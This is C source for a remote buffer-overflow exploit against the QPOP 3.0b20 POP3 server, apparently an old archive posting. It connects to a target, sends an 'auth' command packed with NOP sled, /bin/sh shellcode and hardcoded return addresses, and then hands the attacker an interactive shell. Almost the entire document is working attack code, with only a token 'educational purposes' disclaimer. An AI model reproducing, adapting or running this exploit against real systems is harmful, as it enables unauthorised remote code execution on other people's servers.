/* * QPOP3.0b20 REMOTE EXPLOIT, DISCOVERED AND EXPLOITED BY p0rTaL * - Linux(x86), non-executable stack - * * This I discovered in my QPOP3.0 audit, November 20th 1999. * The information about this bug was leaked, and the credits * stolen from its rightful owners. * I doubt that the code works, because it's so hacked. Worked * for non-executable stack, though, but the offsets will differ. * (This is old so I don't bother fixing it) * * Greetings to the fellow security.is staff, \x90, DiGiT, duke * and doze, scut (who also found this vulnerability), xdr (for * help), #!teso and #hax (ircnet), among with many others. * * This is intended for educational purposes only. */ #include #include #include #include #include #include #include #include #include #include #include #include #define MAX_TYPE 1 #define MAX_SHELLCODE 2 #define NOP '\x90' /* x86 only */ #define APPEND_ADDRESSES 3 #define STRCPY_PLT 0x804bf59 // (change me!) #define FREE_HEAP_ADDR 0x804d001 // (probably me too) #define HARDCORE #define DEBUG int sock = -1; int port = 110; //this ought to be the default int type = 0; int shellcode_num = -1; //use the default int offset = 0; int impact_place = 986; int appenders = APPEND_ADDRESSES; unsigned char buffer[2500]; struct in_addr in; char *victim = NULL; typedef struct { char *platform; char *function; char *code; } SHELLCODE; typedef struct { char *platform; char *version; char *tested_on; SHELLCODE *shellcode; unsigned long address; } PLATFORM; SHELLCODE shellcodes[] = { { "Linux", "Standard dup2() /bin/bash interactive pipe", "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04" "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff" "\xff\xff/bin/sh" }, /* needs attendence if intended to be used, due to isupper() { "Linux glibc", "Standard dup2() /bin/bash interactive pipe", "\x31\xdb\xb0\x1b\xcd\x80\x31\xc0\xb0\x02\xcd\x80\x85\xc0" "\x75\x32\x31\xdb\x89\xd9\xb1\x01\x31\xc0\xb0\x3f\xcd\x80" "\x31\xdb\x89\xd9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\xeb\x1f" //aleph1 at 21. byte "\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" }, */{ NULL, NULL, NULL } }; PLATFORM platforms[] = { { "Slackware Linux", "3.0b20", "4.0", &shellcodes[0], 0xbfffefb0 }, { NULL, NULL, NULL, 0, 0 } }; struct { __u8 on; unsigned long start; unsigned long now; unsigned long end; int step; } bruteforce; void do_lookup (void) { struct hostent *he; if ( (he = gethostbyname (victim)) != NULL) { memcpy (&in, he->h_addr, he->h_length); printf ("Resolved %s to %s\n", victim, inet_ntoa(in)); } else if ( (inet_aton (victim, &in)) < 0) { fprintf (stderr, "Unable to resolve %s. (errno == %d)\n", victim, errno); exit (-1); } if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0) { fprintf (stderr, "\"Socketation\" failed. (errno == %d)\n", errno); exit (-1); } } void do_connect (void) { struct sockaddr_in si; memset ((char *)&si, '\0', sizeof (si)); //should clean sin_zero as well si.sin_family = AF_INET; si.sin_addr.s_addr = in.s_addr; si.sin_port = htons(port); if ( (connect (sock, (struct sockaddr *) &si, sizeof (si))) < 0) { fprintf (stderr, "Unable to connect to %s:%d, errno == %d\n", victim, port, errno); exit (-1); } // connect (sock, (struct sockaddr *)&si, sizeof(si)); } void usage(char *progname) { int i; printf ("QPOP3.0 REMOTE EXPLOIT, DISCOVERED AND EXPLOITED BY p0rTaL\n\n"); printf ("%s [-p port] [-t type] [-o offset] [-s shellcode] [-bruteforce]\n", progname); printf ("Currently supported platforms:\n"); for (i = 0; platforms[i].platform != NULL; i++) printf ("%d: %s %s, QPOP %s, shellcode %s - %#x\n", i, platforms[i].platform, platforms[i].tested_on, platforms[i].version, platforms[i].shellcode->platform, platforms[i].address); printf ("\nCurrent shellcodes:\n"); for (i = 0; shellcodes[i].platform != NULL; i++) printf ("%d: %s (%d bytes) - %s\n", i, shellcodes[i].platform, strlen (shellcodes[i].code), shellcodes[i].function); printf ("\n This exploit is for demonstration purposes only. You, and only you, are\n"); printf (" responsible for your OWN actions.\n\n"); exit (0); } void receive (void) { unsigned char buf[1500+1]; int i; memset (buf, '\0', sizeof(buf)); if ( (read (sock, buf, sizeof(buf)-1)) < 0) { fprintf (stderr, "An error occured while reading from the server. (errno == %d)\n", errno); close (sock); exit (-1); } printf ("READ: \033[1;34m"); for (i = 0; i < strlen(buf); i++) printf ("%02x ", buf[i]); printf ("\033[0;37m\n(%s)\n", buf); } void transmit (char *string) //no need for a VA list { if ( (write (sock, string, strlen(string))) < 0) { fprintf (stderr, "An error occured during a write attempt to the server. (errno == %d)\n", errno); exit (-1); } } void terminal (int sock) { char buffer[1024+1]; fd_set remote_fds; fd_set local_fds; int i; for (i = 0; i < NSIG; i++) if (i != SIGINT) //allow the user to ctrl+c out signal (i, SIG_IGN); FD_ZERO (&local_fds); FD_SET (0, &local_fds); FD_SET (sock, &local_fds); while (1) { memcpy (&remote_fds, &local_fds, sizeof(local_fds)); if ( (i = select (sock + 1, &remote_fds, NULL, NULL, NULL)) < 0) { fprintf (stderr, "Error, select() returned %d, errno is %d\n", i, errno); exit(-1); } if (i == 0) { fprintf (stderr, "Session was terminated remotely.\n"); exit(0); } if (FD_ISSET (sock, &remote_fds)) { if ( (i = read(sock, buffer, sizeof(buffer))) < 0) { /* the user got disconnected, most probably */ #ifdef DEBUG fprintf (stderr, "read() returned %d, errno is %d\n", i, errno); #endif exit(0); } write (1, buffer, i); //stdout, receive // receive(); } if (FD_ISSET (0, &remote_fds)) { memset (buffer, '\0', sizeof(buffer)); if ( (i = read(0, buffer, sizeof(buffer))) < 0) { fprintf (stderr, "read() returned %d, errno is %d\n", i, errno); exit(-1); } write (sock, buffer, i); //transmit } } } int main(int argc, char **argv) { int i, next_arg = 0; char *o = NULL; char *progname = argv[0]; if (argc < 2) usage(progname); memset ((char *)&bruteforce, '\0', sizeof((char *)&bruteforce)); victim = (char *)strdup(argv[1]); argv++; argc--; while ( (next_arg = getopt(argc, argv, "p:t:s:o:r:i:b")) != EOF) switch (next_arg) { case 'p': if ( (atoi(optarg) < 0) || (atoi(optarg) > 65535) ) { fprintf (stderr, "Outrageous port-number! Stick with a number below 65535 (and above zero)\n"); usage (progname); } port = atoi(optarg); printf (" -> Port set to %d.\n", port); break; case 't': if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_TYPE) ) { fprintf (stderr, "Invalid type, should range from 0 to %d.\n", MAX_TYPE); usage (progname); } type = atoi(optarg); printf (" -> Type set to %d, %s %s.\n", type, platforms[type].platform, platforms[type].tested_on); break; case 's': if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_SHELLCODE) ) { fprintf (stderr, "Invalid shellcode number, should range from 0 to %d.\n", MAX_SHELLCODE); usage (progname); } shellcode_num = atoi(optarg); printf (" -> Shellcode set for %s, %s.\n", shellcodes[shellcode_num].platform, shellcodes[shellcode_num].function); break; case 'o': if (bruteforce.on == 1) { fprintf (stderr, "You cannot specify -offset and -bruteforce at the same time.\nMake up your mind!\n"); exit (-1); } offset = atoi(optarg); printf (" -> Offset set to %d.\n", offset); break; case 'b': bruteforce.on = 1; printf (" -> Bruteforce mode selected, UNIMPLEMENTED\n"); exit(-1); printf (" -> Enter offsets seperated with a space, and a 'step' number (e.g. \"0xbfffffff 0xbfff0000 4\"):\n "); if ( (fscanf (stdin, "%#x %#x %d", &bruteforce.start, &bruteforce.end, &bruteforce.step)) != 3) { fprintf (stderr, "Unknown offsets.\n"); exit (-1); } break; case 'i': impact_place = atoi(optarg); printf (" -> Place of impact set to %d.\n", impact_place); break; case 'r': appenders = atoi(optarg); printf (" -> Number of return addresses set to %d.\n", appenders); break; default: fprintf (stderr, "Fictional option: '%c', please take your medication.\n", next_arg); usage (progname); break; } do_lookup(); printf ("\nAttacking %s, a %s %s host\n", victim, platforms[type].platform, platforms[type].tested_on); if (shellcode_num != -1) { platforms[type].shellcode = &(shellcodes[shellcode_num]); printf (" - Using %s shellcode\n", shellcodes[shellcode_num].platform); } else printf (" - Using the default shellcode, %s\n", platforms[type].shellcode->platform); if (bruteforce.on == 0) { platforms[type].address -= offset; printf (" - Using return address %#x\n", platforms[type].address); printf ("\nAssembling shellspawning code\n"); } else printf (" - Going to bruteforce from %#x to %#x in steps of %d\n", bruteforce.start, bruteforce.end, bruteforce.step); memset (buffer, '\0', sizeof(buffer)); strcpy (buffer, "auth "); //the bug lies in pop_auth.c #ifdef DEBUG printf ("Step 1, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer)); #endif memset (buffer+5, NOP, sizeof(buffer)-4); // #ifdef DEBUG printf ("Step 2, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer)); #endif strncpy (buffer + impact_place - strlen(platforms[type].shellcode->code), platforms[type].shellcode->code, sizeof(buffer) - impact_place - 5 - 1); //impact_place + strlen(platforms[type].shellcode->code) - (APPEND_ADDRESSES * sizeof(platforms[type].address) + 2) - 1); #ifdef DEBUG printf ("Step 3, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer)); #endif i = 0; /* o = buffer + strlen(buffer); *(o) = (platforms[type].address & 0x000000ff); *(o+1) = (platforms[type].address & 0x0000ff00) >> 8; *(o+2) = (platforms[type].address & 0x00ff0000) >> 16; *(o+3) = (platforms[type].address & 0xff000000) >> 24; *(o+4) = '\0'; */ /* rather silly */ i = strlen(buffer); // *(long *)&buffer[i] = platforms[type].address;i += 4; *(long *)&buffer[i] = platforms[type].address; i += 4; *(long *)&buffer[i] = STRCPY_PLT; i += 4; *(long *)&buffer[i] = STRCPY_PLT; i += 4; *(long *)&buffer[i] = FREE_HEAP_ADDR; i += 4; *(long *)&buffer[i] = FREE_HEAP_ADDR; i += 4; *(long *)&buffer[i] = platforms[type].address; i += 4; #ifdef HARDCORE printf ("-> sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer)); #endif strcpy (buffer + strlen(buffer), "\x0d\x0a"); // \x00 gets appended automatically printf ("Connecting to %s, port %d\n", inet_ntoa(in), port); do_connect(); #ifdef HARDCORE printf ("Code is:\n\033[1;31m"); for (i = 0; i < strlen(buffer); i++) printf ("%02x ", buffer[i]); printf ("\033[0;37m\n"); #endif receive (); transmit (buffer); receive (); printf ("Got shell!\n"); terminal (sock); close (sock); //not reached return (0); } /* www.hack.co.za [8 June 2000]*/